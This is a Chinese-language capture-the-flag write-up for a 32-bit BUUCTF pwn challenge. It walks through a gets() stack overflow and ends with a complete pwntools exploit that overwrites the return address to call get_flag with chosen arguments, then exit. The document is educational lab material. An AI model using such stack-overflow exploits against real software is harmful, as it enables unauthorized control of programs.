话不多说,直接上题(BUUCTF)

扔进 IDA32 中反编译,直接给出了 Gets

在左边看到有一个 get_flag 函数,进去看看

可以看到 if 条件成立后就能读取 flag 了
回头去看 v4 缓存区的栈情况

首先填充 56 个字节垃圾数据
argc 就是 a1,argv 就是 a2

注意的一点是获取 flag 方式是打开文件读取
如果你非正常退出是没有输出的
我们需要利用 exit 函数
在函数表中关键字定位找到 exit 的起始位置

调用函数还需要传入两个参数
32 位程序是返回地址在参数前面
from pwn import *
p = remote('node5.buuoj.cn',27494)
get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = b'a' * 56 + p32(get_flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)
p.sendline(payload)
p.interactive()
成功拿到 flag
© 版权声明
THE END













![表情[se] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/se.gif)
![表情[zhayanjian] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/zhayanjian.gif)
![表情[jie] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/jie.gif)
![表情[qiang] - 侠者安全社区](https://www.xiasec.com/wp-content/themes/zibll/img/smilies/qiang.gif)



暂无评论内容